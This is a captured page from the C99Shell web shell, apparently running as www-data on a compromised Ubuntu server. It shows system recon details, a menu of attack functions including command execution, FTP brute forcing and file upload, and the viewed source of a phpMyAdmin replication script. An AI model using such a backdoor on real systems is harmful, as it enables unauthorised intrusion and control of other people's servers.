!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     server_replication.php (2.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Server replications
 *
 * @package PhpMyAdmin
 */

use PhpMyAdmin\ReplicationGui;
use 
PhpMyAdmin\Response;
use 
PhpMyAdmin\Server\Common;
use 
PhpMyAdmin\Template;

/**
 * include files
 */
require_once 'libraries/common.inc.php';
require_once 
'libraries/server_common.inc.php';
require_once 
'libraries/replication.inc.php';

/**
 * Does the common work
 */
$response Response::getInstance();
$header   $response->getHeader();
$scripts  $header->getScripts();
$scripts->addFile('server_privileges.js');
$scripts->addFile('replication.js');
$scripts->addFile('vendor/zxcvbn.js');

/**
 * Checks if the user is allowed to do what he tries to...
 */
if (! $GLOBALS['dbi']->isSuperuser()) {
    
$html Template::get('server/sub_page_header')->render([
        
'type' => 'replication',
    ]);
    
$html .= PhpMyAdmin\Message::error(__('No Privileges'))->getDisplay();
    
$response->addHTML($html);
    exit;
}

// change $GLOBALS['url_params'] with $_POST['url_params']
// only if it is an array
if (isset($_POST['url_params']) && is_array($_POST['url_params'])) {
    
$GLOBALS['url_params'] = $_POST['url_params'];
}

/**
 * Handling control requests
 */
ReplicationGui::handleControlRequest();

/**
 * start output
 */
$response->addHTML('<div id="replication">');
$response->addHTML(Template::get('server/sub_page_header')->render([
    
'type' => 'replication',
]));

// Display error messages
$response->addHTML(ReplicationGui::getHtmlForErrorMessage());

if (
$GLOBALS['replication_info']['master']['status']) {
    
$response->addHTML(ReplicationGui::getHtmlForMasterReplication());
} elseif (! isset(
$_POST['mr_configure'])
    && ! isset(
$_POST['repl_clear_scr'])
) {
    
$response->addHTML(ReplicationGui::getHtmlForNotServerReplication());
}

if (isset(
$_POST['mr_configure'])) {
    
// Render the 'Master configuration' section
    
$response->addHTML(ReplicationGui::getHtmlForMasterConfiguration());
    exit;
}

$response->addHTML('</div>');

if (! isset(
$_POST['repl_clear_scr'])) {
    
// Render the 'Slave configuration' section
    
$response->addHTML(
        
ReplicationGui::getHtmlForSlaveConfiguration(
            
$GLOBALS['replication_info']['slave']['status'],
            
$server_slave_replication
        
)
    );
}
if (isset(
$_POST['sl_configure'])) {
    
$response->addHTML(ReplicationGui::getHtmlForReplicationChangeMaster("slave_changemaster"));
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--